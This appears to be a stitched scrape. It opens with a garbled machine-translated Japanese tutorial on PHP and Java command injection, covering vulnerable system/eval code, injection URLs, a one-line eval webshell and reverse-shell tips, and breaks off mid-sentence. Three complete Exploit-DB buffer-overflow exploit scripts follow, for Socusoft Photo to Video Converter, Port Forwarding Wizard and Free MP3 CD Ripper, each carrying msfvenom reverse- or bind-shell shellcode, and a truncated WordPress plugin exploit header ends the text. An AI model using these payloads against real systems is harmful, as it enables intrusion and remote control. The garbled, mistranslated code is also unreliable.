典型的な例はWordPressにあります、あなたはそれを使用することを選択できます

一般的に使用される画像処理コンポーネントであるImageMagickは、ユーザーによってアップロードされた画像を処理し(デフォルトはImageMagickライブラリ)、コマンドの実行を引き起こします。さらに、Javaのコマンド実行の脆弱性(Struts2/Elasticsearch Groovyなど)は非常に一般的です。

典型的な脆弱性コード:

?php

System($ get_ [cmd]);

http://127.0.0.1:8080/?cmd=id

http://192.168.188.66/index.php?cmd=|| ping -i 30

127.0.0.1

http://192.168.188.66/index.php?cmd=|| ping -n 30 127.0.0.1

アプリケーションがいくつかのコマンドセパレータをフィルタリングする場合、コマンドの呼び出し脆弱性を検出する可能性を高めるために、以下の各ターゲットパラメーターに以下の各テスト文字列を順番に送信し、アプリケーションが応答する時間を監視する必要があります。

http://192.168.188.66/index.php?cmd=i ping -i 30

127.0.0.1 i

http://192.168.188.66/index.php?cmd=i ping -n 30

127.0.0.1 i

http://192.168.188.66/index.php?cmd=ping -i 30

127.0.0.1

http://192.168.188.66/index.php?cmd=ping -n 30

127.0.0.1

http://192.168.188.66/index.php?cmd=; ping 127.0.0.1;

http://192.168.188.66/index.php?cmd=%0a ping -i 30

127.0.0.1%0A 'ping 127.0.0.1'

時間遅延が発生した場合、アプリケーションがコマンドインジェクション攻撃に対して脆弱である可能性があることを意味します。テストプロセスを数回繰り返します。

遅延がネットワークの遅延やその他の異常によって引き起こされないことを確認してください。 -nまたは-iパラメーターの値を変更し、経験した時間遅延が提出された値に応じて変化するかどうかを判断することができます。攻撃を正常に実装できる形容詞文字列のいずれかを使用して、形容詞の別のより便利なコマンド(ISまたはdirなど)を試して、コマンド結果をブラウザに返すことができるかどうかを判断します。

コマンドの実行結果を直接取得できない場合、他の方法は次のように使用できます。

コンピューターにバンド外チャネルを開くことを試みることができます。 TFTPアップロードツールをサーバーに使用し、TelnetまたはNetCatを使用してコンピューターに通じるリバースシェルを作成し、メールコマンドを使用してSMTPを介してコマンド結果を送信します。

コマンド結果をWeb Root Directoryのファイルにリダイレクトし、ブラウザを使用して結果を直接取得できます。例:dir

c: \ inetpub \ wwwroot \ foo.txt、コマンドを登録する方法を見つけてコマンド実行結果を取得できると、独自のアクセス許可を設定する必要があります(whoamiまたは同様のコマンドを使用するか、無害なファイルを保護されたディレクトリに記述してみてください)。その後、セットアップできます

、独自のアクセス許可を改善し、アプリケーション内の機密データに密かにアクセスするか、侵害されたサーバーを介して他のホストを攻撃します。

###コマンド実行条件

1。システムコマンドを呼び出して実行するコードに関数があります

2。関数で制御し、システムコマンドのパラメーターとしてユーザー入力をコマンドラインにスプライスできるポイントがあります。

3.ユーザー入力のフィルタリングは厳密にはありません

###コマンド実行およびコード実行モデル

1.PHPコマンドの実行とコード実行

PHPは、System()、shell_exec()、exec()、passthru()などの外部アプリケーションを実行するためのいくつかの機能を提供します。

コマンド実行:system()、shell_exec()、exec()、passthru()。 php.exeを使用してパラメーターを渡す場合、コマンドにスペースがある場合は、 ""(double Quotes)を使用し、次のようなLinuxで単一の引用符を使用します。

php.exe cmd.php '|ネットユーザー'

cmd.phpでのコード実行:php eval($ _ request ['code'])?

送信データ: http://url/cmd.php?code=phpinfo();

動的関数呼び出し

?php

関数a(){return .}

function b(){return .}

$ fun=$ _request ['fun'];

echo $ fun(); //動的コール関数

データを入力すると、http://url/function.php?fun=phpinfoがphpinfo()関数を実行します。 PHP関数コード実行脆弱性:PREG_REPLACE()、ob_start()、array_map()

(1)システム関数

シェルコマンドを実行します。これは、コマンドをDOSに送信することを意味します。システム関数を使用して、外部アプリケーションを実行し、対応する実行結果を出力できます。関数プロトタイプは次のとおりです。

String System(stringコマンド、int

return_var)

その中で、コマンドは実行されるコマンドであり、return_varはコマンドの実行後にステータスを保存します

サンプルコードは次のとおりです。

?php

$ dir=$ _get ['dir'];

if(ISSET($ dir))

{

エコー

'pre';

システム( 'net

ユーザー '。$ dir);

エコー

'/pre';

}

実行結果は次のとおりです。

http://oa8y5guqs.bkt.clouddn.com/command_1.png上記のコードは、dirコマンドを死に執筆し、ネットユーザー実行の結果を$ dir変数に与えます。ただし、いくつかのコネクタ、次のようなパイプライン文字に注意してください: |、||、など。 netstat -an

注:|次のコマンドのみを実行し、||の両方を実行しますコマンドの前後。

http://oa8y5guqs.bkt.clouddn.com/command_2.png

(2)exec function

外部プログラムを実行します。 Exec関数を使用して、外部アプリケーションを実行できます。関数プロトタイプは次のとおりです。

string exec(string command、array output、int

return_var)

その中でも、コマンドは実行されるコマンドであり、出力は実行の各行の文字列出力であり、return_varはコマンドを実行した後のステータス値です。

サンプルコード:

?php

$ cmd=$ _get ['cmd'];

$ output=array();

echo 'pre';

exec($ cmd、$ output);

echo '/pre';

while(list($ key、$ value)=それぞれ($ output))

{

エコー

$ value.'br ';

}

実行結果は次のとおりです。

http://oa8y5guqs.bkt.clouddn.com/command_3.png

(3)パススルー関数

外部プログラムを実行し、元の出力を表示します。 PHPはシステムコマンドを実行し、|、||を介してコマンド接続の役割を再生できることがわかります。入力中の合理的な構造により、コマンドを実行し、元のコマンド接続を実行できます。 PassThru関数を使用して、UNIXシステムコマンドを実行し、元の出力を表示できます。 UNIX Systemコマンドの出力がバイナリデータであり、値をブラウザに直接返す必要がある場合、システムとEXEC機能の代わりにPassThru関数を使用する必要があります。プロトタイプは次のとおりです。

void passthru(string command、int

tipurn_var)

コマンドは実行されるコマンドであり、return_varはコマンドを実行した後にステータス値を保存します。

サンプルコードは次のとおりです。

?php

$ cmd=$ _get ['cmd'];

echo 'pre';

passthru($ cmd);

echo '/pre';

(4)shell_exec関数

シェル環境を介してコマンドを実行し、完全な出力を文字列として返します。関数プロトタイプは次のとおりです。

string shell_exec(stringコマンド)

ここで、コマンドは実行されるコマンドです。

?php

$ cmd=$ _get ['cmd'];

echo 'pre';

shell_exec($ cmd);

echo '/pre';

(5) `演算子:shell_exec関数と同じ、通常はブラックリストをバイパスするために使用されます

サンプルコードは次のとおりです。

?php

$ cmd=$ _get ['cmd'];

$ output=`$ cmd`;

echo 'pre';

echo $ output;

echo '/pre';

実行結果は次のとおりです。

http://oa8y5guqs.bkt.clouddn.com/command_4.png

(6)コード実行

eval()関数は、PHPコードとして文字列を実行できます。つまり、PHPコードを動的に実行できます。この関数を使用する場合、入力文字列が法的なPHPコードであり、セミコロンで終了する必要があることを確認する必要があります。動的関数は、PHPコード実行の脆弱性を呼び出します。関数コマンドインジェクション攻撃法に加えて、評価噴射攻撃法を使用することもできます。評価関数は、PHPプログラムコードとしてパラメーター文字列を実行します。ユーザーは、PHPコードを文字列の形式で保存し、実行のために評価関数に渡すことができます。プロトタイプは次のとおりです。

混合評価(文字列code_str)

Code_StrはPHPコード文字列であり、コマンドインジェクション攻撃は、評価関数に渡された文字列のすべてまたは一部のコンテンツを構築することにより実装されます。

サンプルコード:

?php

$ cmd=$ _get ['cmd'];

echo 'pre';

eval($ cmd);

echo '/pre';

渡されたコンテンツがphpinfo();渡されたコンテンツが文である場合、trojan?php eval($ _ post [cmd]);シェルを直接取ることができます。

例の結果は次のとおりです。

http://oa8y5guqs.bkt.clouddn.com/command_5.png

2.javaコマンド実行

Java SEでは、別のプロセスで特定の文字列コマンドを実行するためにEXECメソッドが提供されるランタイムクラスがあります。 JSP、サーブレット、ストラット、スプリング、冬眠などのテクノロジーは、通常、外部プログラムを実行するときにこの使用法を呼び出します。開発者がランタイムクラスを正しく使用できない場合、Javaコマンドの実行脆弱性を引き起こす可能性があります。

コードは次のとおりです。

ランタイムrt=

runtime.getRuntime();

プロセス

proc=rt.exec( 'net user');

p=

runtime.getRuntime()。exec(cmd);

//コマンド結果を取得する出力ストリーム

inputstream

fis=p.getinputStream();

//読み取り出力ストリームクラスを使用して読み取ります

inputStreamReader

ISR=new inputStreamReader(FIS);

//バッファを使用して行を読み取ります

BufferedReader

BR=new BufferedReader(ISR);

line=null;

//完成するまで

while((line=br.readline())!=null)

{

System.out.println(line);

}

###頻繁に使用されるコマンド実行機能

PHPコマンド実行の脆弱性は、主にいくつかの機能の厳格なフィルタリングの欠如によって引き起こされます。 OSコマンドを実行できる7つの関数があります:system()、exec()、shell_exec()、

passthru()、pcntl_exec()、popen()、proc_open()さらに、アンチシングルquotes( `)もコマンドを実行できますが、shell_exec()関数を呼び出す必要があります。

1。System()、Exec()、shell_exec()、およびpassthru()関数をコマンドに直接渡すことができ、実行結果が返されます。例:payload:php system( 'whoami'); //現在のWebサーバーユーザーに戻ります

2.PCNTLは、PHPのマルチプロセス処理拡張です。これは、次のような多数のタスクを処理するときに使用されます。

空所

pcntl_exec(string $ path、[、array $ args [、array $ envs]]))

3。Popen()およびproc_open()関数は、実行結果を直接返すのではなく、ファイルポインターを返します。例:payload:php popen( 'whoami d:/2.txt'、 'r');

//2つのパラメーターでは、2番目のパラメーターはポインターファイルの接続モードで、rおよびwモードを備えています

4。Shell_exec()関数は、コマンドを逆単一の引用符( `)で実行するときに呼び出す必要があります。

例:payload:php echo `hoami`; //現在のユーザーに戻ります

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()、backticks`は実際にshell_exec()関数を使用しています。

System()は、シェル結果の最後の行を出力および返します。

exec()は結果を出力せず、シェル結果の最後の行を返し、すべての結果を返された配列に保存できます。

passthru()はコマンドのみを呼び出し、コマンドの実行結果を標準出力デバイスに直接出力します。

popen()およびproc_open()は実行結果を直接返すことはありませんが、ファイルポインターを返します。

?php

#system( 'net user');

#passthru( 'dir');

#echo exec( 'whoami');

#echo shell_exec( 'whoami');

#echo `hoami`;

1.SHELL_EXEC()

文字列

shell_exec(string $ cmd)コマンドを実行し、結果を文字列として返します。

返品値:実行が失敗した場合はnullを返します。実行が成功した場合、実行結果文字列が返されます。

注:この機能は、PHPがinsafeモードを実行しているときに無効になっています

2.passthru()

void passthru

(string $ command [、int $ return_var])

返品値はありません。関数は実行結果をブラウザに直接返します。関数の2番目のパラメーターは実行ステータスコードです。0を返すことは成功を意味し、1を返すことは失敗を意味します。

3.exec()

文字列

exec(文字列c

# Exploit Title: Socusoft Photo to Video Converter Professional 8.07 - 'Output Folder' Buffer Overflow (SEH Egghunter)
# Date: 2020-07-23
# Exploit Author: MasterVlad
# Vendor Homepage: http://www.dvd-photo-slideshow.com/photo-to-video-converter.html
# Software Link: https://www.exploit-db.com/apps/ea1720441edd5990a9d0d1ed564a507e-photo-to-video-pro.exe
# Version: 8.07
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 10 x64

# Proof of Concept:

# 1. Run the python script
# 2. Open exploit.txt and copy the content to clipboard
# 3. Open Socusoft Photo to Video Converter Professional 8.07 and go to Video Output
# 4. Paste the clipboard into the 'Output Folder' field and click on Open

#!/usr/bin/python

# Badchars: 22, 2a, 3a, 3c, 3e, 3f, 7c + Non-ascii

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d\x22\x2a\x3a\x3c\x3e\x3f\x7c" -f py -e x86/alpha_mixed BufferRegister=EDI

buf =  ""
buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x4b\x4c\x49\x78\x6d\x52\x55\x50\x65\x50\x37\x70\x53"
buf += "\x50\x6b\x39\x48\x65\x54\x71\x4b\x70\x45\x34\x6c\x4b"
buf += "\x52\x70\x44\x70\x6e\x6b\x52\x72\x54\x4c\x6c\x4b\x42"
buf += "\x72\x66\x74\x4e\x6b\x72\x52\x65\x78\x46\x6f\x6c\x77"
buf += "\x52\x6a\x74\x66\x45\x61\x6b\x4f\x6e\x4c\x45\x6c\x45"
buf += "\x31\x33\x4c\x55\x52\x34\x6c\x51\x30\x4f\x31\x4a\x6f"
buf += "\x54\x4d\x46\x61\x39\x57\x5a\x42\x48\x72\x32\x72\x52"
buf += "\x77\x6c\x4b\x30\x52\x32\x30\x4c\x4b\x72\x6a\x45\x6c"
buf += "\x6e\x6b\x52\x6c\x42\x31\x42\x58\x79\x73\x57\x38\x76"
buf += "\x61\x4e\x31\x32\x71\x4c\x4b\x63\x69\x31\x30\x33\x31"
buf += "\x58\x53\x6e\x6b\x52\x69\x34\x58\x4b\x53\x64\x7a\x30"
buf += "\x49\x4e\x6b\x36\x54\x4e\x6b\x63\x31\x69\x46\x55\x61"
buf += "\x79\x6f\x4e\x4c\x4b\x71\x7a\x6f\x54\x4d\x46\x61\x78"
buf += "\x47\x55\x68\x39\x70\x31\x65\x39\x66\x74\x43\x53\x4d"
buf += "\x59\x68\x47\x4b\x51\x6d\x66\x44\x61\x65\x78\x64\x56"
buf += "\x38\x6e\x6b\x61\x48\x37\x54\x76\x61\x6b\x63\x31\x76"
buf += "\x4c\x4b\x66\x6c\x72\x6b\x4e\x6b\x71\x48\x35\x4c\x33"
buf += "\x31\x68\x53\x6e\x6b\x75\x54\x4c\x4b\x56\x61\x6a\x70"
buf += "\x6c\x49\x32\x64\x74\x64\x44\x64\x73\x6b\x31\x4b\x70"
buf += "\x61\x53\x69\x30\x5a\x63\x61\x6b\x4f\x49\x70\x33\x6f"
buf += "\x31\x4f\x31\x4a\x4c\x4b\x37\x62\x48\x6b\x4e\x6d\x63"
buf += "\x6d\x31\x78\x45\x63\x44\x72\x57\x70\x57\x70\x42\x48"
buf += "\x30\x77\x44\x33\x45\x62\x33\x6f\x33\x64\x30\x68\x50"
buf += "\x4c\x34\x37\x44\x66\x53\x37\x79\x6f\x68\x55\x4e\x58"
buf += "\x6a\x30\x63\x31\x53\x30\x33\x30\x75\x79\x68\x44\x42"
buf += "\x74\x46\x30\x71\x78\x71\x39\x6d\x50\x42\x4b\x77\x70"
buf += "\x79\x6f\x59\x45\x62\x70\x56\x30\x76\x30\x32\x70\x37"
buf += "\x30\x56\x30\x31\x50\x66\x30\x53\x58\x78\x6a\x76\x6f"
buf += "\x49\x4f\x6b\x50\x6b\x4f\x6e\x35\x6c\x57\x33\x5a\x34"
buf += "\x45\x61\x78\x59\x50\x4f\x58\x39\x34\x6e\x61\x70\x68"
buf += "\x75\x52\x67\x70\x63\x31\x6f\x4b\x6d\x59\x6a\x46\x61"
buf += "\x7a\x56\x70\x62\x76\x73\x67\x53\x58\x6d\x49\x69\x35"
buf += "\x64\x34\x43\x51\x69\x6f\x6e\x35\x6b\x35\x4b\x70\x72"
buf += "\x54\x76\x6c\x39\x6f\x62\x6e\x65\x58\x64\x35\x6a\x4c"
buf += "\x55\x38\x5a\x50\x4e\x55\x4c\x62\x30\x56\x4b\x4f\x4a"
buf += "\x75\x63\x58\x70\x63\x50\x6d\x70\x64\x47\x70\x6b\x39"
buf += "\x6b\x53\x43\x67\x51\x47\x62\x77\x45\x61\x6a\x56\x43"
buf += "\x5a\x46\x72\x32\x79\x43\x66\x39\x72\x79\x6d\x61\x76"
buf += "\x4b\x77\x61\x54\x76\x44\x55\x6c\x66\x61\x63\x31\x6e"
buf += "\x6d\x43\x74\x76\x44\x74\x50\x4b\x76\x45\x50\x32\x64"
buf += "\x71\x44\x52\x70\x66\x36\x73\x66\x30\x56\x52\x66\x31"
buf += "\x46\x42\x6e\x62\x76\x51\x46\x43\x63\x73\x66\x71\x78"
buf += "\x50\x79\x38\x4c\x67\x4f\x4e\x66\x6b\x4f\x69\x45\x6c"
buf += "\x49\x6b\x50\x42\x6e\x63\x66\x42\x66\x59\x6f\x64\x70"
buf += "\x70\x68\x36\x68\x6d\x57\x75\x4d\x51\x70\x79\x6f\x58"
buf += "\x55\x6d\x6b\x5a\x50\x48\x35\x4e\x42\x76\x36\x52\x48"
buf += "\x4d\x76\x4f\x65\x4d\x6d\x6f\x6d\x79\x6f\x4a\x75\x57"
buf += "\x4c\x77\x76\x71\x6c\x57\x7a\x4d\x50\x69\x6b\x69\x70"
buf += "\x31\x65\x65\x55\x4f\x4b\x72\x67\x67\x63\x31\x62\x72"
buf += "\x4f\x53\x5a\x75\x50\x72\x73\x6b\x4f\x5a\x75\x41\x41"



egg = "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x54\x58\x66\x05\x2C\x09\x50\x5c"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x01\x7F\x01\x2D\x0B\x01\x7F\x01\x2D\x01\x16\x02\x15\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x7F\x01\x01\x2D\x50\x0B\x14\x4F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x7F\x01\x01\x2D\x51\x29\x73\x04\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x01\x2C\x50\x2D\x10\x46\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x45\x7B\x26\x0C\x2D\x7F\x7F\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x28\x01\x52\x2D\x7F\x7F\x31\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x72\x4D\x3D\x16\x2D\x7F\x70\x70\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x1A\x7B\x01\x7F\x2D\x7F\x01\x33\x7F\x2D\x01\x02\x01\x02\x50"

exploit = "A"*304
exploit += "\x74\x06\x75\x04"
# 0x10047a1e
exploit += "\x1e\x7a\x04\x10"
exploit += egg
exploit += "B"*(2000-312-len(egg))
exploit += "T00WT00W"
exploit += buf

f = open("exploit.txt", "w")
f.write(exploit)
f.close()
            
# Exploit Title: Port Forwarding Wizard 4.8.0 - Buffer Overflow (SEH) 
# Exploit Author: Sarang Tumne
# Date: 2020-07-18
# CVE ID: N/A
# Confirmed on release 4.8.0 and 4.5.0
# Vendor: http://www.port-forwarding.net/
# Tested on OS- Windows Vista
# Buffer overflow in upRedSun Port Forwarding Wizard 4.8.0 and earlier version allows local 
# attackers to execute arbitrary code via a long request in the Register feature.

###############################################

#!/usr/bin/python

file=open("payload.txt","w+b")

buffer="\x90"*164
buffer+="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x73\x61\x72\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  # EggHunter
buffer+="\x90"*20

shellcode="sarasara" 		#Egg tag- sarasara
shellcode+="\x90"*40
shellcode+=("\xdd\xc7\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x6b"
"\x4c\x6d\x38\x6c\x42\x53\x30\x57\x70\x33\x30\x51\x70\x6e\x69"
"\x78\x65\x36\x51\x6f\x30\x35\x34\x4e\x6b\x52\x70\x54\x70\x4e"
"\x6b\x46\x32\x76\x6c\x6c\x4b\x70\x52\x62\x34\x6e\x6b\x33\x42"
"\x54\x68\x66\x6f\x4e\x57\x71\x5a\x34\x66\x70\x31\x49\x6f\x4e"
"\x4c\x57\x4c\x65\x31\x61\x6c\x37\x72\x54\x6c\x55\x70\x59\x51"
"\x48\x4f\x44\x4d\x43\x31\x4a\x67\x49\x72\x5a\x52\x33\x62\x70"
"\x57\x4c\x4b\x50\x52\x56\x70\x6c\x4b\x73\x7a\x35\x6c\x4c\x4b"
"\x50\x4c\x42\x31\x70\x78\x49\x73\x53\x78\x46\x61\x4a\x71\x52"
"\x71\x4e\x6b\x30\x59\x71\x30\x55\x51\x4a\x73\x4e\x6b\x71\x59"
"\x36\x78\x78\x63\x35\x6a\x37\x39\x6c\x4b\x77\x44\x6e\x6b\x76"
"\x61\x39\x46\x76\x51\x59\x6f\x6e\x4c\x4a\x61\x78\x4f\x54\x4d"
"\x77\x71\x5a\x67\x36\x58\x79\x70\x54\x35\x69\x66\x74\x43\x51"
"\x6d\x58\x78\x55\x6b\x43\x4d\x46\x44\x70\x75\x5a\x44\x50\x58"
"\x4e\x6b\x62\x78\x65\x74\x73\x31\x6b\x63\x42\x46\x6c\x4b\x36"
"\x6c\x50\x4b\x4e\x6b\x42\x78\x65\x4c\x33\x31\x69\x43\x4c\x4b"
"\x47\x74\x4e\x6b\x77\x71\x78\x50\x4c\x49\x50\x44\x76\x44\x66"
"\x44\x43\x6b\x61\x4b\x31\x71\x51\x49\x63\x6a\x43\x61\x39\x6f"
"\x49\x70\x61\x4f\x73\x6f\x53\x6a\x4e\x6b\x37\x62\x68\x6b\x6c"
"\x4d\x63\x6d\x45\x38\x56\x53\x30\x32\x47\x70\x47\x70\x55\x38"
"\x62\x57\x74\x33\x67\x42\x31\x4f\x61\x44\x33\x58\x50\x4c\x31"
"\x67\x35\x76\x64\x47\x39\x6f\x6b\x65\x6f\x48\x6a\x30\x37\x71"
"\x73\x30\x67\x70\x57\x59\x48\x44\x30\x54\x66\x30\x75\x38\x67"
"\x59\x6d\x50\x32\x4b\x35\x50\x4b\x4f\x6a\x75\x76\x30\x30\x50"
"\x50\x50\x36\x30\x37\x30\x36\x30\x43\x70\x52\x70\x31\x78\x78"
"\x6a\x56\x6f\x49\x4f\x69\x70\x4b\x4f\x39\x45\x5a\x37\x31\x7a"
"\x44\x45\x61\x78\x49\x50\x39\x38\x56\x58\x30\x6c\x73\x58\x55"
"\x52\x73\x30\x56\x71\x43\x6c\x4c\x49\x4b\x56\x30\x6a\x56\x70"
"\x43\x66\x70\x57\x31\x78\x5a\x39\x49\x35\x62\x54\x50\x61\x39"
"\x6f\x7a\x75\x4f\x75\x6f\x30\x73\x44\x46\x6c\x4b\x4f\x70\x4e"
"\x76\x68\x61\x65\x5a\x4c\x53\x58\x68\x70\x4f\x45\x79\x32\x46"
"\x36\x59\x6f\x4a\x75\x63\x58\x32\x43\x52\x4d\x61\x74\x57\x70"
"\x6b\x39\x4a\x43\x63\x67\x76\x37\x63\x67\x64\x71\x69\x66\x62"
"\x4a\x46\x72\x73\x69\x61\x46\x6a\x42\x6b\x4d\x63\x56\x4a\x67"
"\x71\x54\x71\x34\x67\x4c\x47\x71\x46\x61\x6c\x4d\x53\x74\x37"
"\x54\x46\x70\x38\x46\x63\x30\x37\x34\x70\x54\x50\x50\x36\x36"
"\x61\x46\x52\x76\x53\x76\x53\x66\x50\x4e\x46\x36\x33\x66\x36"
"\x33\x42\x76\x52\x48\x70\x79\x68\x4c\x37\x4f\x4f\x76\x59\x6f"
"\x38\x55\x4f\x79\x6b\x50\x70\x4e\x32\x76\x77\x36\x49\x6f\x46"
"\x50\x55\x38\x44\x48\x6d\x57\x47\x6d\x61\x70\x59\x6f\x6e\x35"
"\x4d\x6b\x4b\x4e\x74\x4e\x64\x72\x39\x7a\x72\x48\x4e\x46\x6c"
"\x55\x6f\x4d\x6d\x4d\x59\x6f\x48\x55\x65\x6c\x66\x66\x71\x6c"
"\x37\x7a\x6f\x70\x79\x6b\x6d\x30\x54\x35\x66\x65\x6f\x4b\x47"
"\x37\x46\x73\x53\x42\x72\x4f\x72\x4a\x55\x50\x66\x33\x49\x6f"
"\x39\x45\x41\x41")
buffer+="\xeb\xb6\x90\x90"   #Backward short jump- nseh
buffer+="\x6d\x57\x37\x7c"   #PPR- SEH
buffer+="A"*200
file.write(buffer+shellcode)
file.close()
            
# Exploit Title: Free MP3 CD Ripper 2.8 - Stack Buffer Overflow (SEH + Egghunter)
# Date: 2020-07-22
# Exploit Author: Eduard Palisek
# Vendor Homepage: https://www.cleanersoft.com
# Software Link: https://www.cleanersoft.com/download/FMCRSetup.exe
# Version: 2.8 Build 20140611
# Tested on: [Windows XP, Professional, Version 2002, SP 3
#!/usr/bin/python
file = open("exploit.wav", "wb")

# msfvenom -p windows/shell_bind_tcp LPORT=9001 -a x86 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\" -f python -v shellcode_bind

shellcode_bind =  b""
shellcode_bind += b"\xb8\x88\xbf\xa2\x65\xdb\xd6\xd9\x74\x24"
shellcode_bind += b"\xf4\x5a\x2b\xc9\xb1\x53\x83\xc2\x04\x31"
shellcode_bind += b"\x42\x0e\x03\xca\xb1\x40\x90\x36\x25\x06"
shellcode_bind += b"\x5b\xc6\xb6\x67\xd5\x23\x87\xa7\x81\x20"
shellcode_bind += b"\xb8\x17\xc1\x64\x35\xd3\x87\x9c\xce\x91"
shellcode_bind += b"\x0f\x93\x67\x1f\x76\x9a\x78\x0c\x4a\xbd"
shellcode_bind += b"\xfa\x4f\x9f\x1d\xc2\x9f\xd2\x5c\x03\xfd"
shellcode_bind += b"\x1f\x0c\xdc\x89\xb2\xa0\x69\xc7\x0e\x4b"
shellcode_bind += b"\x21\xc9\x16\xa8\xf2\xe8\x37\x7f\x88\xb2"
shellcode_bind += b"\x97\x7e\x5d\xcf\x91\x98\x82\xea\x68\x13"
shellcode_bind += b"\x70\x80\x6a\xf5\x48\x69\xc0\x38\x65\x98"
shellcode_bind += b"\x18\x7d\x42\x43\x6f\x77\xb0\xfe\x68\x4c"
shellcode_bind += b"\xca\x24\xfc\x56\x6c\xae\xa6\xb2\x8c\x63"
shellcode_bind += b"\x30\x31\x82\xc8\x36\x1d\x87\xcf\x9b\x16"
shellcode_bind += b"\xb3\x44\x1a\xf8\x35\x1e\x39\xdc\x1e\xc4"
shellcode_bind += b"\x20\x45\xfb\xab\x5d\x95\xa4\x14\xf8\xde"
shellcode_bind += b"\x49\x40\x71\xbd\x05\xa5\xb8\x3d\xd6\xa1"
shellcode_bind += b"\xcb\x4e\xe4\x6e\x60\xd8\x44\xe6\xae\x1f"
shellcode_bind += b"\xaa\xdd\x17\x8f\x55\xde\x67\x86\x91\x8a"
shellcode_bind += b"\x37\xb0\x30\xb3\xd3\x40\xbc\x66\x49\x48"
shellcode_bind += b"\x1b\xd9\x6c\xb5\xdb\x89\x30\x15\xb4\xc3"
shellcode_bind += b"\xbe\x4a\xa4\xeb\x14\xe3\x4d\x16\x97\x28"
shellcode_bind += b"\xa7\x9f\x71\x44\xa7\xc9\x2a\xf0\x05\x2e"
shellcode_bind += b"\xe3\x67\x75\x04\x5b\x0f\x3e\x4e\x5c\x30"
shellcode_bind += b"\xbf\x44\xca\xa6\x34\x8b\xce\xd7\x4a\x86"
shellcode_bind += b"\x66\x80\xdd\x5c\xe7\xe3\x7c\x60\x22\x93"
shellcode_bind += b"\x1d\xf3\xa9\x63\x6b\xe8\x65\x34\x3c\xde"
shellcode_bind += b"\x7f\xd0\xd0\x79\xd6\xc6\x28\x1f\x11\x42"
shellcode_bind += b"\xf7\xdc\x9c\x4b\x7a\x58\xbb\x5b\x42\x61"
shellcode_bind += b"\x87\x0f\x1a\x34\x51\xf9\xdc\xee\x13\x53"
shellcode_bind += b"\xb7\x5d\xfa\x33\x4e\xae\x3d\x45\x4f\xfb"
shellcode_bind += b"\xcb\xa9\xfe\x52\x8a\xd6\xcf\x32\x1a\xaf"
shellcode_bind += b"\x2d\xa3\xe5\x7a\xf6\xc3\x07\xae\x03\x6c"
shellcode_bind += b"\x9e\x3b\xae\xf1\x21\x96\xed\x0f\xa2\x12"
shellcode_bind += b"\x8e\xeb\xba\x57\x8b\xb0\x7c\x84\xe1\xa9"
shellcode_bind += b"\xe8\xaa\x56\xc9\x38"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

nops  = "\x90" * 30
junk1 = "A" * 2112
tag   = "W00TW00T"
junk2 = "B" * (2000-len(shellcode_bind+nops+tag))
eip   = "\x53\x93\x42\x7e"   # 0x7e429353 : jmp esp in user32.dll

buffer  = junk1 + tag + nops + shellcode_bind + junk2 + eip + nops + egghunter

file.write(buffer)
file.close()
            
# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
# Google Dork: "Stable tag" inurl:wp-content/plugins/email-subscribers/readme.txt
# Date: 2020-07-20
# Exploit Author: KBA@SOGETI_ESEC
# Vendor Homepage: https://www.icegram.com/email-subscribers/
# Software Link: https://pluginarchive.com/wordpress/email-subscribers/v/4-2-2
# Version: <= 4.2.2
# Tested on: Email Subscribers & Newsletters 4.2.2
# CVE : CVE-2019-19985

 ################################################################################################
 #             ___         ___         ___         ___      ___                                 #
 #            /\  \       /\  \       /\  \       /\  \    /\  \        ___                     #
 #           /::\  \     /::\  \     /::\  \     /::\  \   \:\  \      /\  \                    #
 #          /:/\ \  \   /:/\:\  \   /:/\:\  \   /:/\:\  \   \:\  \     \:\  \                   #
 #         _\:\~\ \  \ /:/  \:\  \ /:/  \:\  \ /::\~\:\  \  /::\  \    /::\__\                  #
 #        /\ \:\ \ \__/:/__/ \:\__/:/__/_\:\__/:/\:\ \:\__\/:/\:\__\__/:/\/__/                  #
 #        \:\ \:\ \/__\:\  \ /:/  \:\  /\ \/__\:\~\:\ \/__/:/  \/__/\/:/  /                     #
 #         \:\ \:\__\  \:\  /:/  / \:\ \:\__\  \:\ \:\__\/:/  /    \::/__/                      #
 #          \:\/:/  /   \:\/:/  /   \:\/:/  /   \:\ \/__/\/__/      \:\__\                      #
